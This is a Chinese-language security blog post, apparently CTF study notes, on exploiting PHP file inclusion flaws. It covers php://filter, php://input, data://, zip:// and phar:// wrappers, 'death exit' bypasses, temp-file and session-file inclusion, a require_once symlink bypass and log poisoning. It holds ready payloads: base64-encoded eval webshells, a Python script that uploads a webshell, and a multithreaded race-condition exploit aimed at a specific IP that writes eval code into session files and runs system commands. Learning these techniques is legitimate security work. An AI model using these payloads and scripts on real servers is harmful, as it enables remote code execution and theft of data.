R0ot's Blog

分享代码,记录生活

0%

文件包含漏洞的学习

简介

所谓文件包含漏洞就是指,后端代码使用了一些文件包含的函数,如果用户能控制这些函数的参数,就可以实现任意代码读取,getshell,命令执行等多种攻击手段
文件包含漏洞可以简单的分为本地文件包含远程文件包含,本质上没有区别,开发人员应该尽可能的避免用户控制文件包含函数的参数,或是进行严格的过滤

php各种伪协议的利用

  1. 什么是php的伪协议
    PHP伪协议是指PHP支持的一些特殊的协议,它们可以用来访问各种输入/输出流、内存中的临时文件流以及其他读取写入文件资源的过滤器。PHP支持多种伪协议,包括 file://、http://、ftp://、php://、zlib://、data://、glob://、phar://、ssh2://、rar:// 和 ogg:// 等。

  2. 伪协议的安全问题
    伪协议通常配合文件包含漏洞一起利用。文件包含的函数有include(), include_once(),require(),require_once()等等.文件包含本身存在的问题是,无论包含的是什么后缀的文件,都会被当成php文件解析,这在文件上传中已经有利用过,如果我们能控制文件包含函数的参数,配合伪协议,能实现更多攻击手段

  3. 可以利用的伪协议
    下面介绍六种可能会导致安全问题的伪协议

    1
    2
    3
    4
    5
    6
    php://filter
    php://input
    file://
    data://
    zip://
    phar://

    可能导致文件包含的函数

    1
    2
    3
    4
    5
    6
    include和require函数
    include和include_once
    highlight_file()和show_source()
    readfile和file_get_contents和file
    file_put_contents
    fopen

    使用PHP伪协议可能会导致安全风险,因此应谨慎使用。为了防止潜在的安全威胁,可以将allow_url_include配置选项设置为off,这样就限制无法包含远程文件了,需要注意的是,从PHP5.2开始,allow_url_include默认为Off。

    allow_url_fopen是一个PHP配置选项,它控制PHP是否可以使用文件函数(如fopen,file_get_contents和include 来访问URL对象(如HTTP和FTP资源)。allow_url_fopen默认都是on。

php://filter

php://filter是一种元封装器,是PHP中特有的协议流,设计用于数据流打开时的筛选过滤应用,作用是作为一个“中间流”来处理其他流。简单来说,就是作为一个中间的代理,将读入或者写入的数据按照规定参数进行过滤或处理后输出

第四点告诉了我们其实readwrite是可以省略的
我们可以通过不同参数对读入写入的数据进行不同的处理,这里介绍几个可能导致危险的参数

  1. convert.base64-encode
    作用是对数据流进行base64编码,如果不对数据进行编码的话,那所包含的文件就会被当成代码执行,不会输出结果,但编码后,就可以对任意文件进行读取,可以通过这个方式读取源码,然后进一步白盒审计
    payload: php://filter/read=convert.base64-encode/resource=index.php

  2. convert.base64-decode
    作用是对数据流base64解码,利用这个过滤器,可以实现对死亡exit的绕过
    死亡exit指的是在进行写入PHP文件操作时,执行了类似以下函数
    file_put_contents($content, '<?php exit();' . $content);
    这样一来无论我们想要写入什么内容,都会在开头被拼接插上exit(),导致强行终止
    为什么使用base64解码可以绕过呢,base64只能识别64个可打印字符(大写字母,小写字母,数字,加号(+)和斜杠(/)),遇到其他不属于base64字符集的字符时,会跳过这些字符,而不是停止解码
    例如被插入了<?php exit()?>,解码只能识别其中的phpexit,其他会被跳过
    因为base64解码是四个字符为一组进行解码,所以我们只需要将前面无用的内容凑出四的倍数,比如phpexito再将已经编码好的一句话木马写在后面,这样进行解码的时候就会将前面的死亡exit绕过,同时解码一句话木马
    pyload:
    txt=QPD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8%2B&filename=php://filter/write=convert.base64-decode/resource=shell.php

  3. string.strip_tags
    用来处理掉读入的所有标签,例如XML,HTML注释和PHP标签也会被去除。(PHP4, PHP5, PHP7)(自PHP7.3.0起已弃用此功能。)
    由于<?php exit; ?>,实际上这是一个XML标签,所以我们可以通过string.strip_tags过滤器将这个死亡exit去除,但是我们要写入的一句话木马也会被去除,所以我们可以先将一句话木马进行编码,利用过滤器可以叠加的特性,先去除死亡exit,再将一句话木马还原
    payload:
    php://filter/string.strip_tags|convert.base64-decode/resource=shell.php

php://input 伪协议

条件

1
2
allow_url_fopen: on/off
allow_url_include: on

php://input是一个可以访问请求的原始数据的只读流。它可以读取POST请求的参数
简单来说,它与使用$_POST变量来获取POST参数类似,但是php://input提供了更多的灵活性。
例如使用eval()函数来执行从php://input获取的数据,就可以导致任意代码执行

1
2
3
4
<?php
$file = $_GET['file'];
include($file);
?>

在上面的代码中,攻击者可以使用如下 URL 来执行恶意代码:
http://www.example.com/index.php?file=php://input
当用户访问上面的 URL 时,服务器会读取请求正文中的数据,并将其作为PHP代码执行。因此,攻击者可以在请求正文中发送恶意代码,从而在服务器上执行任意命令。

file:// 伪协议

用于访问本地文件系统,允许攻击者读取本地文件系统中的文件。这个伪协议通常用于读取敏感文件,例如配置文件或数据库凭据。需要注意的是,file:// 后面必须跟着是本地的绝对路径,不允许是相对路径,或是远程文件

data:// 伪协议

条件

1
2
allow_url_fopen: on
allow_url_include: on

data://伪协议是数据流封装器,传递相应格式的数据
data:// 伪协议的语法如下:
data:[<mediatype>][;base64],<data>
如果使用include()或require()函数来包含从用户输入中获取的data://, 通常可以用来执行PHP代码。
payload:
?file=data://text/plain,<?php%20phpinfo();?>
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

zip:// 伪协议

zip://伪协议属于压缩流,可以访问压缩文件中的子文件(相同的类型的还有zlib://bzip2://)
语法 zip:// [压缩文件绝对路径] # [压缩文件内的子文件名]
例如 有一个myzip.zip的压缩文件,其中包含一个名为myfile.txt的文件,可以使用以下语法访问该文件:zip://myzip.zip#myfile.txt(要是在URL中#要写成%23)
此外这个伪协议也可以配合文件上传漏洞使用,如果攻击者能够上传一个包含恶意PHP代码的zip文件,并且能够控制包含函数的参数,那么他们就可以使用zip://伪协议来执行恶意代码。
payload
?file=zip://evil.zip#shell.php
注意 这个伪协议对后缀不敏感,所以可以将先将文件压缩为zip,再将后缀改成jpg,然后
?file=zip://evil.jpg#shell.php

phar:// 伪协议

phar://伪协议和zip://伪协议类似,phar本身就是php中压缩文件的一种形式,所以可以通过phar://访问zip压缩文件中的子文件(注:php版本大于等于5.3.0,压缩包只能是zip协议压缩)
语法 phar:// [压缩文件绝对路径] / [压缩文件内的子文件名]
payload
?file=phar://evil.zip/shell.php

更重要的是,phar://伪协议可以配合反序列化漏洞,用伪协议配合一些危险函数可以触发phar文件中的元数据的反序列化phar反序列化漏洞

临时文件包含

1
2
3
4
5
?file=php://filter/string.strip_tags/resource=/etc/passwd
版本要求:
php7.0.0-7.1.2
php7.1.3-7.2.1
php7.2.2-7.2.8
1
2
3
4
5
php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA
版本要求:
php<=5.6.38
php7.0.0-7.0.32
php7.0.4-7.2.12
  1. 什么是临时文件
    临时文件是计算机系统在执行某些操作时创建的文件,用于存储临时数据。这些文件通常在操作完成后被删除,但有时它们可能会遗留在系统中。
    一般认为,上传文件需要对应的功能点,但实际上,无论是否有文件上传的功能点,只要HTTP请求中存在文件,那么就会被保存为临时文件,当前HTTP请求处理完成后,垃圾回收机制会自动删除临时文件。
  2. 怎么利用
    临时文件的存储位置取决于操作系统和应用程序。在Windows操作系统中,临时文件通常存储在C:\Windows\TempC:\Users\[用户名]\AppData\Local\Temp目录下。在Linux和macOS操作系统中,临时文件通常存储在/tmp目录下,如果我们能知道文件最后保存的名字,就可以配合文件包含功能,上传我们想要的代码.
    php7 segment fault特性:如果我们向后端发送大量文件,就会导致php崩溃,这时最后发送的文件就会被保留在临时文件中,我们利用文件包含漏洞包含这个临时文件,就可以实现这个文件的代码
    payload:
    ?file=php://filter/string.strip_tags/resource=/etc/passwd
    python脚本
    1
    2
    3
    4
    5
    6
    7
    8
    9
    import requests as res
    from io import BytesIO
    url="具有文件包含漏洞的网址?file=php://filter/string.strip_tags/resource=/etc/passwd"
    phpfile="<?php @eval($_POST['cmd']); ?>" #phpfile对应的就是上传的文件的内容
    filedata={
    "file":phpfile
    }
    bak=res.post(url=url,files=filedata)
    print(bak.text) #最后输出网站奔溃,说明临时文件保存成功

session文件包含

Session 文件包含漏洞是一种利用条件竞争漏洞的攻击方法。它利用了服务器在处理文件上传时,可能会执行恶意代码的漏洞。攻击者可以通过控制 session 文件中的内容,传入恶意代码,然后通过文件包含漏洞来执行恶意代码。为了成功利用这个漏洞,需要知道服务器存储session文件的存储位置文件名格式
与session文件包含有关的配置,以及默认情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
session.save_path:
默认情况下,可能设置为系统的临时目录,例如 Linux/Unix 系统上的 /tmp 目录。(我们可以采用phpinfo()来查看)

session.name:默认值为 PHPSESSID,配置选项用于定义表单中用于报告上传进度的字段的名称,最大的好处是,它的值可控。

session.upload_progress.cleanup: 默认为on,开启后 PHP 在文件上传结束后立即清空对应会话文件中的内容。(如果这个选项为on,意味着我们需要条件竞争)

session.cookie_secure:默认值为 0,表示会话 cookie 可以通过非安全连接(如 HTTP)传输。

session.use_only_cookies:默认值为 1,表示仅使用 cookie 来存储会话 ID。

session.auto_start:
默认情况下,这个选项都是关闭的。开启后则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。

session.use_strict_mode:
默认值为 0,设置为 0 以允许用户自定义会话 ID。例如,用户可以在 cookie 中设置 PHPSESSID=TGAO,则 PHP 将在服务器上创建一个名为 /tmp/sess_TGAO 的文件。即使用户没有初始化会话,PHP 也会自动初始化会话。

放一个别人写的多线程python脚本,原文连接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
import threading
import io

parameter = "QAQ" # 参数名称
url = "http://43.143.7.97:28098/" # 修改url地址
catalogue = "/tmp" # 存放session文件的目录
data = {"aaa": "system('cat /var/ffflllaaagggflag');"} # 执行的命令
filename = "test.txt" # 上传的文件名 要上传文件 它会携带者PHP_SESSION_UPLOAD_PROGRESS发送 而且会存储到sess_id文件里面
sess_id = "abc" # sess拼接的文件名

def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
data = {"PHP_SESSION_UPLOAD_PROGRESS": f"{sess_id}<?php eval($_POST[aaa]);?>{sess_id}"}
cookies = {"PHPSESSID": sess_id}
files = {"file": (filename, f)}
session.post(url=url, data=data, cookies=cookies, files=files)


def read(session):
while True:
resp = session.post(url=f"{url}?{parameter}={catalogue}/sess_{sess_id}", data=data)
if filename in resp.text:
print(resp.text)
event.clear()


if __name__ == '__main__':
event = threading.Event()
with requests.session() as session:
for i in range(1, 30):
threading.Thread(target=write, args=(session,)).start()
for i in range(1, 30):
threading.Thread(target=read, args=(session,)).start()

require_once软连接绕过

require_once()函数与require()函数功能类似,但所包含的信息只执行一次,使用这个函数可以避免相同的文件被包含多次,但是如果我们需要利用文件包含漏洞来读取源码时,如果关键文件已经被包含过了,就要想办法绕过
贴一个大佬讲解原理
说实话没怎么看懂……简单来说
PHP最新版的小Trick, require_once包含的软链接层数较多时once的hash匹配会直接失效造成重复包含
payload:/proc/self/root这个代表的是根目录
/proc/self/root/proc/self/root这个代表的还是根目录
加上很多很多的软连接,就可以绕过require_once,这时候还在根目录,再加上/var/www/html/flag.php
许多基于 PHP 的网站都将其文件存储在 /var/www/html 目录下。这是一个常用的位置

日志注入

1
2
apache服务器日志存放文件位置:/var/log/apache/access.log
nginx服务器日志存放位置:/var/log/nginx/access.log和/var/log/nginx/error.log

日志包含是属于本地文件包含,如果可以控制参数包含日志文件的话,且服务器有对应漏洞,就会产生一定的回显,可以利用这个进行命令注入(一句话木马或是直接写入命令)
apache会存放我们的url参数在访问时回显,这使得我们可以在url后进行命令的注入。
nginx可以看到回显的是ua报文头,同理,我们可以在ua头进行命令的注入